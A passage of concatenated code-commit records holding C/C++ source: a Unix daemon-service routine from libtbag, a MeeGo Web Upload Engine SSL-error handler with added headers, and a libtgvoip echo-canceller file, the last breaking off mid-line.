_exit(0);\n\n        } else if (pid < 0) {\n            Err const FORK_ERROR_CODE = getGlobalSystemError();\n            tDLogE(\"UnixService::Impl::eliminateControlTerminals() fork() {} error\", FORK_ERROR_CODE);\n            return FORK_ERROR_CODE;\n        }\n\n        \/\/ This is child process.\n        assert(pid == 0);\n\n        sid = setsid(); \/\/ Be a session leader.\n        if (sid == -1) {\n            Err const SETSID_ERROR_CODE = getGlobalSystemError();\n            tDLogE(\"UnixService::Impl::eliminateControlTerminals() setsid() {} error\", SETSID_ERROR_CODE);\n            return SETSID_ERROR_CODE;\n        }\n\n        pgid = getpgid(0);\n        ppid = getppid();\n         pid = getpid();\n\n        assert(sid == getsid(0));\n        assert(pid != 0);\n        assert(pgid == pid);\n\n        \/\/ Don't use this code:\n        \/\/  @code\n        \/\/   pid_t const INIT_PROCESS = 1;\n        \/\/   assert(ppid == INIT_PROCESS);\n        \/\/  @endcode\n        \/\/ Reason:\n        \/\/  It works with root privileges.\n\n        tDLogI(\"UnixService::Impl::eliminateControlTerminals() \"\n               \"Fork child process: SID({}) PGID({}) PPID({}) PID({})\",\n               (int)sid, (int)pgid, (int)ppid, (int)pid);\n\n        return Err::E_SUCCESS;\n#else\n        return Err::E_ENOSYS;\n#endif\n    }\n\n    Err changeRootDirectory()\n    {\n#if defined(TBAG_PLATFORM_UNIX_LIKE)\n        if (chdir(\"\/\") != 0) {\n            Err const CHDIR_ERROR_CODE = getGlobalSystemError();\n            tDLogE(\"UnixService::Impl::changeRootDirectory() chdir() {} error\", CHDIR_ERROR_CODE);\n            return CHDIR_ERROR_CODE;\n        }\n        return Err::E_SUCCESS;\n#else\n        return Err::E_ENOSYS;\n#endif\n    }\n\n    Err ignoreSignals()\n    {\n#if defined(TBAG_PLATFORM_UNIX_LIKE)\n        ::signal(SIGHUP, SIG_IGN);\n\n        \/\/ Ignore TTY signals.\n        ::signal(SIGTSTP, SIG_IGN);\n        ::signal(SIGTTOU, SIG_IGN);\n        ::signal(SIGTTIN, SIG_IGN);\n\n        return Err::E_SUCCESS;\n#else\n        return Err::E_ENOSYS;\n#endif\n    }\n\n    Err reopenStdio()\n    {\n#if defined(TBAG_PLATFORM_UNIX_LIKE)\n        stdin  = freopen(\"\/dev\/null\", \"r\", stdin);\n        stdout = freopen(\"\/dev\/null\", \"w\", stdout);\n        stderr = freopen(\"\/dev\/null\", \"w\", stderr);\n        return Err::E_SUCCESS;\n#else\n        return Err::E_ENOSYS;\n#endif\n    }\n\n    Err zeroUmask()\n    {\n#if defined(TBAG_PLATFORM_UNIX_LIKE)\n        umask(0);\n        return Err::E_SUCCESS;\n#else\n        return Err::E_ENOSYS;\n#endif\n    }\n\n    Err createPidFile(std::string const & path)\n    {\n#if defined(TBAG_PLATFORM_UNIX_LIKE)\n        pid_file = open(path.c_str(), (O_RDWR | O_CREAT), 0600);\n        if (pid_file == -1) {\n            Err const OPEN_ERROR_CODE = getGlobalSystemError();\n            tDLogE(\"UnixService::Impl::createPidFile() open() {} error\", OPEN_ERROR_CODE);\n            return OPEN_ERROR_CODE;\n        }\n\n        \/\/ Try to lock file.\n        if (lockf(pid_file, F_TLOCK, 0) == -1) {\n            close(pid_file);\n            pid_file = 0;\n\n            \/\/ Couldn't get lock on lock file.\n            Err const LOCKF_ERROR_CODE = getGlobalSystemError();\n            tDLogE(\"UnixService::Impl::createPidFile() lockf() {} error\", LOCKF_ERROR_CODE);\n            return LOCKF_ERROR_CODE;\n        }\n\n        std::string const PID_STRING = std::to_string(getpid());\n        \/\/ Write pid to lock file.\n        ssize_t const write_size = write(pid_file, PID_STRING.c_str(), PID_STRING.length());\n        if (write_size == -1) {\n            tDLogW(\"UnixService::Impl::createPidFile() Write PID error: {}\", getGlobalSystemError());\n        }\n        return Err::E_SUCCESS;\n#else\n        return Err::E_ENOSYS;\n#endif\n    }\n\n    Err removePidFile()\n    {\n#if defined(TBAG_PLATFORM_UNIX_LIKE)\n        if (pid_file > 0) {\n            lockf(pid_file, F_ULOCK, 0);\n            close(pid_file);\n            pid_file = 0;\n        }\n        return Err::E_SUCCESS;\n#else\n        return Err::E_ENOSYS;\n#endif\n    }\n};\n\n\/\/ ---------------------------\n\/\/ UnixService implementation.\n\/\/ ---------------------------\n\nUnixService::UnixService(std::string const & name)\n        : ServiceCommon(name), _impl(new Impl(this)), _pid_path(std::string(\"\/var\/run\/\") + name + \".pid\")\n{\n    assert(_impl != nullptr);\n}\n\nUnixService::~UnixService()\n{\n    \/\/ EMPTY.\n}\n\nErr UnixService::install()\n{\n#if defined(TBAG_PLATFORM_UNIX_LIKE)\n    return Err::E_ENOSYS;\n#else\n    return Err::E_ENOSYS;\n#endif\n}\n\nErr UnixService::uninstall()\n{\n#if defined(TBAG_PLATFORM_UNIX_LIKE)\n    return Err::E_ENOSYS;\n#else\n    return Err::E_ENOSYS;\n#endif\n}\n\nErr UnixService::start()\n{\n    Err code = Err::E_UNKNOWN;\n    code = _impl->eliminateControlTerminals();\n    if (isFailure(code)) {\n        return code;\n    }\n\n    code = _impl->changeRootDirectory();\n    if (isFailure(code)) {\n        return code;\n    }\n\n    _impl->ignoreSignals();\n    _impl->zeroUmask();\n    _impl->createPidFile(_pid_path);\n    _impl->reopenStdio();\n\n    return Err::E_SUCCESS;\n}\n\nErr UnixService::stop()\n{\n    _impl->removePidFile();\n    if (_pid_path.empty() == false) {\n        filesystem::Path(_pid_path).remove();\n    }\n    return Err::E_SUCCESS;\n}\n\n} \/\/ namespace details\n} \/\/ namespace app\n\n\/\/ --------------------\nNAMESPACE_LIBTBAG_CLOSE\n\/\/ --------------------\n\n<|endoftext|>"}
{"text":"<commit_before>\n\/*\n * Web Upload Engine -- MeeGo social networking uploads\n * Copyright (c) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n * Contact: Jukka Tiihonen <jukka.tiihonen@nokia.com>\n *\n * This program is free software; you can redistribute it and\/or modify it\n * under the terms and conditions of the GNU Lesser General Public License,\n * version 2.1, as published by the Free Software Foundation.\n *\n * This program is distributed in the hope it will be useful, but WITHOUT ANY\n * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n * FOR A PARTICULAR PURPOSE.  See the GNU Lesser General Public License for\n * more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this program; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin St - Fifth Floor, Boston, MA 02110-1301 USA.\n *\/\n \n#include \"WebUpload\/PostSimpleHttp\"\n#include <QDebug>\n#include <QNetworkConfiguration>\n#include <QFile>\n\n#define DBG_PREFIX \"PostSHttp:\"\n#define DBG_STREAM qDebug() << DBG_PREFIX\n#define WARN_STREAM qWarning() << DBG_PREFIX\n#define CRIT_STREAM qCritical() << DBG_PREFIX\n\nusing namespace WebUpload;\n\nPostSimpleHttp::PostSimpleHttp (QObject * parent) : PostBase (parent),\n    netAM (new QNetworkAccessManager(this)), currentReply (0) {\n   \n    \/\/ Connect signals\n    connect (netAM, SIGNAL(finished(QNetworkReply*)), this,\n        SLOT(namFinished(QNetworkReply*)));     \n    connect (netAM, SIGNAL(sslErrors(QNetworkReply*,QList<QSslError>)), this,\n        SLOT(namSslErrors(QNetworkReply*,QList<QSslError>)));     \n}\n        \nPostSimpleHttp::~PostSimpleHttp() {\n    netAM->disconnect (this);\n    delete netAM;\n}\n\nvoid PostSimpleHttp::stopMediaUpload () {\n    if (currentReply != 0 && currentReply->isRunning()) {\n        currentReply->abort();\n    } else {\n        WARN_STREAM << \"stopMediaUpload ignored, currentReply undefined\";\n    }\n}\n\nvoid PostSimpleHttp::uploadMedia (Media * media) {\n\n    DBG_STREAM << \"Calling generateRequest\";\n    currentReply = 0;\n    \n    if (media->type() == Media::TYPE_FILE) {        \n        QString originalFilePath = media->srcFilePath ();\n        QString copyFilePath = media->copyFilePath ();\n        if (!QFile::exists (originalFilePath) ||\n            !QFile::exists (copyFilePath)) {\n\n            Q_EMIT (mediaError(WebUpload::Error::missingFiles()));\n            return;\n        }\n    }\n\n    currentReply = generateRequest (media);\n\n    if (currentReply == 0) {\n        WARN_STREAM << \"Generate request returned null\";\n        \/\/ Letting this stay as custom error, since this should not normally\n        \/\/ happen\n        Q_EMIT (mediaError(WebUpload::Error::custom (\"System Failure\",\n            \"Failed to create request\")));\n    } else {\n        \/\/ Connect progress signal\n        QObject::connect (currentReply, SIGNAL(uploadProgress(qint64,qint64)),\n            this, SLOT(nrUpProgress(qint64,qint64)));   \n    }\n}\n\nvoid PostSimpleHttp::namFinished (QNetworkReply * reply) {\n    \n    if (currentReply != reply) {\n        CRIT_STREAM << \"Reply mismatch\" << currentReply << reply;\n        reply->deleteLater();\n        return;\n    }\n    \n    currentReply = 0;\n\n    QNetworkReply::NetworkError replyError = reply->error();\n    reply->disconnect (this);\n    \n    switch (replyError) {\n        case QNetworkReply::OperationCanceledError:\n            DBG_STREAM << \"NAM finished, operation cancelled\";\n            Q_EMIT (stopped ());\n            break;\n            \n        case QNetworkReply::ConnectionRefusedError:\n        case QNetworkReply::RemoteHostClosedError:\n        case QNetworkReply::HostNotFoundError:\n        case QNetworkReply::TimeoutError:\n        case QNetworkReply::SslHandshakeFailedError:\n        case QNetworkReply::ProxyConnectionRefusedError:\n        case QNetworkReply::ProxyConnectionClosedError:\n        case QNetworkReply::ProxyNotFoundError:\n        case QNetworkReply::ProxyTimeoutError:\n        case QNetworkReply::ProxyAuthenticationRequiredError:\n        case QNetworkReply::UnknownNetworkError:\n        case QNetworkReply::UnknownProxyError:\n        {\n            int httpCode = reply->attribute (\n                QNetworkRequest::HttpStatusCodeAttribute).toInt();\n            WARN_STREAM << \"NAM finished with an connection error\" <<\n                replyError << reply->errorString() << \" and http code \" <<\n                httpCode;\n            Q_EMIT (mediaError(WebUpload::Error::connectFailure())); \n            break;\n        }\n            \n        default: \n            DBG_STREAM << \"Calling handleResponse\" << replyError; \n            handleResponse (reply);\n            break;\n    }\n    \n    reply->deleteLater ();\n}\n\nvoid PostSimpleHttp::namSslErrors (QNetworkReply * reply, \n    const QList<QSslError> & errors) {\n    \n    if (currentReply != reply) {\n        CRIT_STREAM << \"Reply mismatch\" << currentReply << reply;\n        reply->deleteLater();\n        return;\n    }\n    \n    const QSslError::SslError errorEnum = QSslError::NoError; \n    int i = 0;\n    for (i = 0; errorEnum == QSslError::NoError && i < errors.size (); ++i) {\n        errorEnum = errors.at (i).error ();\n    }\n\n    if (firstError == QSslError::UnableToGetLocalIssuerCertificate) {\n        QSslCertificate cert = errors.at (i).certificate ();\n        if (!cert.isNull ()) {\n            QByteArray certDer = cert.toDer ();\n            QDBusInterface iface (\"com.nokia.certman\", \"\/com\/nokia\/certman\");\n            if (iface.isValid ()) {\n                QDBusReply<bool> result = \n                    iface.call (\"CheckCertificate\", certDer);\n                if (result) {\n                    reply->ignoreSslErrors ();\n                    return;\n                }\n            }\n        }\n    }\n\n    currentReply = 0;\n    reply->deleteLater ();\n\n    if (errorEnum == QSslError::NoError) {\n        qWarning() << \"QNetworkAccessManager::sslErrors signal emitted with \"\n            \"no ssl errors - just marking transfer as failed\";\n        Q_EMIT (mediaError(WebUpload::Error::transferFailed())); \n        return;\n    }\n\n    WebUpload::Error error = WebUpload::Error::connectFailure();\n    switch (errorEnum) {\n        case QSslError::CertificateNotYetValid:\n            \/\/% \"Check device time and date.\"\n            error->setDescription (qtTrId (\"qtn_tui_invalid_device_time\"));\n            break;\n\n        default:\n            \/\/% \"Secure connection failed\"\n            error->setDescription (qtTrId (\"qtn_tui_ssl_connection_failed\"));\n            break;\n    }\n\n    Q_EMIT (mediaError(error)); \n}\n\n\nvoid PostSimpleHttp::nrUpProgress (qint64 bytesSent, qint64 bytesTotal) {\n    \n    if (bytesTotal > 0) {\n        float progressAmt = ((float)bytesSent)\/((float)bytesTotal);\n        DBG_STREAM << \"progress:\" << progressAmt;\n        Q_EMIT (mediaProgress(progressAmt));\n    } else {\n        DBG_STREAM << \"undefined progress\";\n    }\n}\n<commit_msg>Added missing header files so compilation can go through<commit_after>\n\/*\n * Web Upload Engine -- MeeGo social networking uploads\n * Copyright (c) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n * Contact: Jukka Tiihonen <jukka.tiihonen@nokia.com>\n *\n * This program is free software; you can redistribute it and\/or modify it\n * under the terms and conditions of the GNU Lesser General Public License,\n * version 2.1, as published by the Free Software Foundation.\n *\n * This program is distributed in the hope it will be useful, but WITHOUT ANY\n * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n * FOR A PARTICULAR PURPOSE.  See the GNU Lesser General Public License for\n * more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this program; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin St - Fifth Floor, Boston, MA 02110-1301 USA.\n *\/\n \n#include \"WebUpload\/PostSimpleHttp\"\n#include <QDebug>\n#include <QNetworkConfiguration>\n#include <QFile>\n\n#include <QSslError>\n#include <QSslCertificate>\n#include <QDBusInterface>\n#include <QDBusReply>\n\n#define DBG_PREFIX \"PostSHttp:\"\n#define DBG_STREAM qDebug() << DBG_PREFIX\n#define WARN_STREAM qWarning() << DBG_PREFIX\n#define CRIT_STREAM qCritical() << DBG_PREFIX\n\nusing namespace WebUpload;\n\nPostSimpleHttp::PostSimpleHttp (QObject * parent) : PostBase (parent),\n    netAM (new QNetworkAccessManager(this)), currentReply (0) {\n   \n    \/\/ Connect signals\n    connect (netAM, SIGNAL(finished(QNetworkReply*)), this,\n        SLOT(namFinished(QNetworkReply*)));     \n    connect (netAM, SIGNAL(sslErrors(QNetworkReply*,QList<QSslError>)), this,\n        SLOT(namSslErrors(QNetworkReply*,QList<QSslError>)));     \n}\n        \nPostSimpleHttp::~PostSimpleHttp() {\n    netAM->disconnect (this);\n    delete netAM;\n}\n\nvoid PostSimpleHttp::stopMediaUpload () {\n    if (currentReply != 0 && currentReply->isRunning()) {\n        currentReply->abort();\n    } else {\n        WARN_STREAM << \"stopMediaUpload ignored, currentReply undefined\";\n    }\n}\n\nvoid PostSimpleHttp::uploadMedia (Media * media) {\n\n    DBG_STREAM << \"Calling generateRequest\";\n    currentReply = 0;\n    \n    if (media->type() == Media::TYPE_FILE) {        \n        QString originalFilePath = media->srcFilePath ();\n        QString copyFilePath = media->copyFilePath ();\n        if (!QFile::exists (originalFilePath) ||\n            !QFile::exists (copyFilePath)) {\n\n            Q_EMIT (mediaError(WebUpload::Error::missingFiles()));\n            return;\n        }\n    }\n\n    currentReply = generateRequest (media);\n\n    if (currentReply == 0) {\n        WARN_STREAM << \"Generate request returned null\";\n        \/\/ Letting this stay as custom error, since this should not normally\n        \/\/ happen\n        Q_EMIT (mediaError(WebUpload::Error::custom (\"System Failure\",\n            \"Failed to create request\")));\n    } else {\n        \/\/ Connect progress signal\n        QObject::connect (currentReply, SIGNAL(uploadProgress(qint64,qint64)),\n            this, SLOT(nrUpProgress(qint64,qint64)));   \n    }\n}\n\nvoid PostSimpleHttp::namFinished (QNetworkReply * reply) {\n    \n    if (currentReply != reply) {\n        CRIT_STREAM << \"Reply mismatch\" << currentReply << reply;\n        reply->deleteLater();\n        return;\n    }\n    \n    currentReply = 0;\n\n    QNetworkReply::NetworkError replyError = reply->error();\n    reply->disconnect (this);\n    \n    switch (replyError) {\n        case QNetworkReply::OperationCanceledError:\n            DBG_STREAM << \"NAM finished, operation cancelled\";\n            Q_EMIT (stopped ());\n            break;\n            \n        case QNetworkReply::ConnectionRefusedError:\n        case QNetworkReply::RemoteHostClosedError:\n        case QNetworkReply::HostNotFoundError:\n        case QNetworkReply::TimeoutError:\n        case QNetworkReply::SslHandshakeFailedError:\n        case QNetworkReply::ProxyConnectionRefusedError:\n        case QNetworkReply::ProxyConnectionClosedError:\n        case QNetworkReply::ProxyNotFoundError:\n        case QNetworkReply::ProxyTimeoutError:\n        case QNetworkReply::ProxyAuthenticationRequiredError:\n        case QNetworkReply::UnknownNetworkError:\n        case QNetworkReply::UnknownProxyError:\n        {\n            int httpCode = reply->attribute (\n                QNetworkRequest::HttpStatusCodeAttribute).toInt();\n            WARN_STREAM << \"NAM finished with an connection error\" <<\n                replyError << reply->errorString() << \" and http code \" <<\n                httpCode;\n            Q_EMIT (mediaError(WebUpload::Error::connectFailure())); \n            break;\n        }\n            \n        default: \n            DBG_STREAM << \"Calling handleResponse\" << replyError; \n            handleResponse (reply);\n            break;\n    }\n    \n    reply->deleteLater ();\n}\n\nvoid PostSimpleHttp::namSslErrors (QNetworkReply * reply, \n    const QList<QSslError> & errors) {\n    \n    if (currentReply != reply) {\n        CRIT_STREAM << \"Reply mismatch\" << currentReply << reply;\n        reply->deleteLater();\n        return;\n    }\n    \n    QSslError::SslError errorEnum = QSslError::NoError; \n    int i = 0;\n    for (i = 0; errorEnum == QSslError::NoError && i < errors.size (); ++i) {\n        errorEnum = errors.at (i).error ();\n    }\n\n    if (errorEnum == QSslError::UnableToGetLocalIssuerCertificate) {\n        QSslCertificate cert = errors.at (i).certificate ();\n        if (!cert.isNull ()) {\n            QByteArray certDer = cert.toDer ();\n            QDBusInterface iface (\"com.nokia.certman\", \"\/com\/nokia\/certman\");\n            if (iface.isValid ()) {\n                QDBusReply<bool> result = \n                    iface.call (\"CheckCertificate\", certDer);\n                if (result) {\n                    reply->ignoreSslErrors ();\n                    return;\n                }\n            }\n        }\n    }\n\n    currentReply = 0;\n    reply->deleteLater ();\n\n    if (errorEnum == QSslError::NoError) {\n        qWarning() << \"QNetworkAccessManager::sslErrors signal emitted with \"\n            \"no ssl errors - just marking transfer as failed\";\n        Q_EMIT (mediaError(WebUpload::Error::transferFailed())); \n        return;\n    }\n\n    WebUpload::Error error = WebUpload::Error::connectFailure();\n    switch (errorEnum) {\n        case QSslError::CertificateNotYetValid:\n            \/\/% \"Check device time and date.\"\n            error.setDescription (qtTrId (\"qtn_tui_invalid_device_time\"));\n            break;\n\n        default:\n            \/\/% \"Secure connection failed\"\n            error.setDescription (qtTrId (\"qtn_tui_ssl_connection_failed\"));\n            break;\n    }\n\n    Q_EMIT (mediaError(error)); \n}\n\n\nvoid PostSimpleHttp::nrUpProgress (qint64 bytesSent, qint64 bytesTotal) {\n    \n    if (bytesTotal > 0) {\n        float progressAmt = ((float)bytesSent)\/((float)bytesTotal);\n        DBG_STREAM << \"progress:\" << progressAmt;\n        Q_EMIT (mediaProgress(progressAmt));\n    } else {\n        DBG_STREAM << \"undefined progress\";\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ libtgvoip is free and unencumbered public domain software.\n\/\/ For more information, see http:\/\/unlicense.org or the UNLICENSE file\n\/\/ you should have received with this source code distribution.\n\/\/\n\n#ifndef TGVOIP_NO_DSP\n#include \"webrtc_dsp\/modules\/audio_processing\/include\/audio_processing.h\"\n#include \"webrtc_dsp\/api\/audio\/audio_frame.h\"\n#endif\n\n#include \"EchoCanceller.h\"\n#include \"audio\/AudioOutput.h\"\n#include \"audio\/AudioInput.h\"\n#include \"logging.h\"\n#include \"VoIPServerConfig.h\"\n#include <string.h>\n#include <stdio.h>\n\nusing namespace tgvoip;\n\nEchoCanceller::EchoCanceller(bool enableAEC, bool enableNS, bool enableAGC){\n#ifndef TGVOIP_NO_DSP\n\tthis->enableAEC=enableAEC;\n\tthis->enableAGC=enableAGC;\n\tthis->enableNS=enableNS;\n\tisOn=true;\n\n\twebrtc::Config extraConfig;\n#ifdef TGVOIP_USE_DESKTOP_DSP\n\textraConfig.Set(new webrtc::DelayAgnostic(true));\n#endif\n\n\tapm=webrtc::AudioProcessingBuilder().Create(extraConfig);\n\n\twebrtc::AudioProcessing::Config config;\n\tconfig.echo_canceller.enabled = enableAEC;\n#ifndef TGVOIP_USE_DESKTOP_DSP\n\tconfig.echo_canceller.mobile_mode = true;\n#else\n\tconfig.echo_canceller.mobile_mode = false;\n#endif\n\tconfig.high_pass_filter.enabled = enableAEC;\n\tconfig.gain_controller2.enabled = enableAGC;\n\tapm->ApplyConfig(config);\n\t\n\twebrtc::NoiseSuppression::Level nsLevel;\n#ifdef __APPLE__\n\tswitch(ServerConfig::GetSharedInstance()->GetInt(\"webrtc_ns_level_vpio\", 0)){\n#else\n\tswitch(ServerConfig::GetSharedInstance()->GetInt(\"webrtc_ns_level\", 2)){\n#endif\n\t\tcase 0:\n\t\t\tnsLevel=webrtc::NoiseSuppression::Level::kLow;\n\t\t\tbreak;\n\t\tcase 1:\n\t\t\tnsLevel=webrtc::NoiseSuppression::Level::kModerate;\n\t\t\tbreak;\n\t\tcase 3:\n\t\t\tnsLevel=webrtc::NoiseSuppression::Level::kVeryHigh;\n\t\t\tbreak;\n\t\tcase 2:\n\t\tdefault:\n\t\t\tnsLevel=webrtc::NoiseSuppression::Level::kHigh;\n\t\t\tbreak;\n\t}\n\tapm->noise_suppression()->set_level(nsLevel);\n\tapm->noise_suppression()->Enable(enableNS);\n\tif(enableAGC){\n\t\tapm->gain_control()->set_mode(webrtc::GainControl::Mode::kAdaptiveDigital);\n\t\tapm->gain_control()->set_target_level_dbfs(ServerConfig::GetSharedInstance()->GetInt(\"webrtc_agc_target_level\", 9));\n\t\tapm->gain_control()->enable_limiter(ServerConfig::GetSharedInstance()->GetBoolean(\"webrtc_agc_enable_limiter\", true));\n\t\tapm->gain_control()->set_compression_gain_db(ServerConfig::GetSharedInstance()->GetInt(\"webrtc_agc_compression_gain\", 20));\n\t}\n\tapm->voice_detection()->set_likelihood(webrtc::VoiceDetection::Likelihood::kVeryLowLikelihood);\n\n\taudioFrame=new webrtc::AudioFrame();\n\taudioFrame->samples_per_channel_=480;\n\taudioFrame->sample_rate_hz_=48000;\n\taudioFrame->num_channels_=1;\n\n\tfarendQueue=new BlockingQueue<int16_t*>(11);\n\tfarendBufferPool=new BufferPool(960*2, 10);\n\trunning=true;\n\tbufferFarendThread=new Thread(std::bind(&EchoCanceller::RunBufferFarendThread, this));\n\tbufferFarendThread->Start();\n\n#else\n\tthis->enableAEC=this->enableAGC=enableAGC=this->enableNS=enableNS=false;\n\tisOn=true;\n#endif\n}\n\nEchoCanceller::~EchoCanceller(){\n#ifndef TGVOIP_NO_DSP\n\tdelete apm;\n\tdelete audioFrame;\n#endif\n}\n\nvoid EchoCanceller::Start(){\n\n}\n\nvoid EchoCanceller::Stop(){\n\n}\n\n\nvoid EchoCanceller::SpeakerOutCallback(unsigned char* data, size_t len){\n    if(len!=960*2 || !enableAEC || !isOn)\n\t\treturn;\n#ifndef TGVOIP_NO_DSP\n\tint16_t* buf=(int16_t*)farendBufferPool->Get();\n\tif(buf){\n\t\tmemcpy(buf, data, 960*2);\n\t\tfarendQueue->Put(buf);\n\t}\n#endif\n}\n\n#ifndef TGVOIP_NO_DSP\nvoid EchoCanceller::RunBufferFarendThread(){\n\twebrtc::AudioFrame frame;\n\tframe.num_channels_=1;\n\tframe.sample_rate_hz_=48000;\n\tframe.samples_per_channel_=480;\n\twhile(running){\n\t\tint16_t* samplesIn=farendQueue->GetBlocking();\n\t\tif(samplesIn){\n\t\t\tmemcpy(frame.mutable_data(), samplesIn, 480*2);\n\t\t\tapm->ProcessReverseStream(&frame);\n\t\t\tmemcpy(frame.mutable_data(), samplesIn+480, 480*2);\n\t\t\tapm->ProcessReverseStream(&frame);\n\t\t\tdidBufferFarend=true;\n\t\t\tfarendBufferPool->Reuse(reinterpret_cast<unsigned char*>(samplesIn));\n\t\t}\n\t}\n}\n#endif\n\nvoid EchoCanceller::Enable(bool enabled){\n\tisOn=enabled;\n}\n\nvoid EchoCanceller::ProcessInput(int16_t* inOut, size_t numSamples, bool& hasVoice){\n\tif(!isOn || (!enableAEC && !enableAGC && !enableNS)){\n\t\treturn;\n\t}\n\tint delay=audio::AudioInput::GetEstimatedDelay()+audio::AudioOutput::GetEstimatedDelay();\n\tassert(numSamples==960);\n\n\tmemcpy(audioFrame->mutable_data(), inOut, 480*2);\n\tif(enableAEC)\n    \tapm->set_stream_delay_ms(delay);\n\tapm->ProcessStream(audioFrame);\n\tif(enableVAD)\n    \thasVoice=apm->voice_detection()->stream_has_voice();\n\tmemcpy(inOut, audioFrame->data(), 480*2);\n\tmemcpy(audioFrame->mutable_data(), inOut+480, 480*2);\n\tif(enableAEC)\n    \tapm->set_stream_delay_ms(delay);\n\tapm->ProcessStream(audioFrame);\n\tif(enableVAD){\n    \thasVoice=hasVoice || apm->voice_detection()->stream_has_voice();\n\t}\n\tmemcpy(inOut+480, audioFrame->data(), 480*2);\n}\n\nvoid EchoCanceller::SetAECStrength(int strength){\n#ifndef TGVOIP_NO_DSP\n\t\/*if(aec){\n#ifndef TGVOIP_USE_DESKTOP_DSP\n\t\tAecmConfig cfg;\n\t\tcfg.cngMode=AecmFalse;\n\t\tcfg.echoMode=(int16_t) strength;\n\t\tWebRtcAecm_set_config(aec, cfg);\n#endif\n\t}*\/\n#endif\n}\n\nvoid EchoCanceller::SetVoiceDetectionEnabled(bool enabled){\n\tenableVAD=enabled;\n\tapm->voice_detection()->Enable(enabled);\n}\n\nusing namespace tgvoip::effects;\n\nAudioEffect::~AudioEffect(){\n\n}\n\nvoid AudioEffect::SetPassThrough(bool passThrough){\n\tthis->passThrough=passThrough;\n}\n\nVolume::Volume(){\n\n}\n\nVolume::~Volume(){\n\n}\n\nvoid Volume::Process(int16_t* inOut, size_t numSamples){\n\tif(level==1.0f || passThrough){\n\t\treturn;\n\t}\n\tfor(size_t i=0;i<numSamples;i++){\n\t\tfloat sample=(float)inOut[i]*multiplier;\n\t\tif(sample>32767.0f)\n\t\t\tinOut[i]=INT16_MAX;\n\t\telse if(sample<-32768.0f)\n\t\t\tinOut[i]=INT16_MIN;\n\t\telse\n\t\t\tinOut[i]=(int16_t)sample;\n\t}\n}\n\nvoid Volume::SetLevel(float level){\n\tthis->level=level;\n\tfloat db;\n\tif(level<1.0f)\n\t\tdb=-50.0f*(1.0f-level);\n\telse if(level>1.0f && level<=2.0f)\n\t\tdb=10.0f*(level-1.0f);\n\telse\n\t\tdb=0.0f;\n\tmultiplier=expf(db\/20.0f * logf(10.0f));\n}\n\nfloat Volume::GetLevel(){\n\treturn level;\n}\n<commit_msg>Fixed build with TGVOIP_NO_DSP<commit_after>\/\/\n\/\/ libtgvoip is free and unencumbered public domain software.\n\/\/ For more information, see http:\/\/unlicense.org or the UNLICENSE file\n\/\/ you should have received with this source code distribution.\n\/\/\n\n#ifndef TGVOIP_NO_DSP\n#include \"webrtc_dsp\/modules\/audio_processing\/include\/audio_processing.h\"\n#include \"webrtc_dsp\/api\/audio\/audio_frame.h\"\n#endif\n\n#include \"EchoCanceller.h\"\n#include \"audio\/AudioOutput.h\"\n#include \"audio\/AudioInput.h\"\n#include \"logging.h\"\n#include \"VoIPServerConfig.h\"\n#include <string.h>\n#include <stdio.h>\n#include <math.h>\n\nusing namespace tgvoip;\n\nEchoCanceller::EchoCanceller(bool enableAEC, bool enableNS, bool enableAGC){\n#ifndef TGVOIP_NO_DSP\n\tthis->enableAEC=enableAEC;\n\tthis->enableAGC=enableAGC;\n\tthis->enableNS=enableNS;\n\tisOn=true;\n\n\twebrtc::Config extraConfig;\n#ifdef TGVOIP_USE_DESKTOP_DSP\n\textraConfig.Set(new webrtc::DelayAgnostic(true));\n#endif\n\n\tapm=webrtc::AudioProcessingBuilder().Create(extraConfig);\n\n\twebrtc::AudioProcessing::Config config;\n\tconfig.echo_canceller.enabled = enableAEC;\n#ifndef TGVOIP_USE_DESKTOP_DSP\n\tconfig.echo_canceller.mobile_mode = true;\n#else\n\tconfig.echo_canceller.mobile_mode = false;\n#endif\n\tconfig.high_pass_filter.enabled = enableAEC;\n\tconfig.gain_controller2.enabled = enableAGC;\n\tapm->ApplyConfig(config);\n\t\n\twebrtc::NoiseSuppression::Level nsLevel;\n#ifdef __APPLE__\n\tswitch(ServerConfig::GetSharedInstance()->GetInt(\"webrtc_ns_level_vpio\", 0)){\n#else\n\tswitch(ServerConfig::GetSharedInstance()->GetInt(\"webrtc_ns_level\", 2)){\n#endif\n\t\tcase 0:\n\t\t\tnsLevel=webrtc::NoiseSuppression::Level::kLow;\n\t\t\tbreak;\n\t\tcase 1:\n\t\t\tnsLevel=webrtc::NoiseSuppression::Level::kModerate;\n\t\t\tbreak;\n\t\tcase 3:\n\t\t\tnsLevel=webrtc::NoiseSuppression::Level::kVeryHigh;\n\t\t\tbreak;\n\t\tcase 2:\n\t\tdefault:\n\t\t\tnsLevel=webrtc::NoiseSuppression::Level::kHigh;\n\t\t\tbreak;\n\t}\n\tapm->noise_suppression()->set_level(nsLevel);\n\tapm->noise_suppression()->Enable(enableNS);\n\tif(enableAGC){\n\t\tapm->gain_control()->set_mode(webrtc::GainControl::Mode::kAdaptiveDigital);\n\t\tapm->gain_control()->set_target_level_dbfs(ServerConfig::GetSharedInstance()->GetInt(\"webrtc_agc_target_level\", 9));\n\t\tapm->gain_control()->enable_limiter(ServerConfig::GetSharedInstance()->GetBoolean(\"webrtc_agc_enable_limiter\", true));\n\t\tapm->gain_control()->set_compression_gain_db(ServerConfig::GetSharedInstance()->GetInt(\"webrtc_agc_compression_gain\", 20));\n\t}\n\tapm->voice_detection()->set_likelihood(webrtc::VoiceDetection::Likelihood::kVeryLowLikelihood);\n\n\taudioFrame=new webrtc::AudioFrame();\n\taudioFrame->samples_per_channel_=480;\n\taudioFrame->sample_rate_hz_=48000;\n\taudioFrame->num_channels_=1;\n\n\tfarendQueue=new BlockingQueue<int16_t*>(11);\n\tfarendBufferPool=new BufferPool(960*2, 10);\n\trunning=true;\n\tbufferFarendThread=new Thread(std::bind(&EchoCanceller::RunBufferFarendThread, 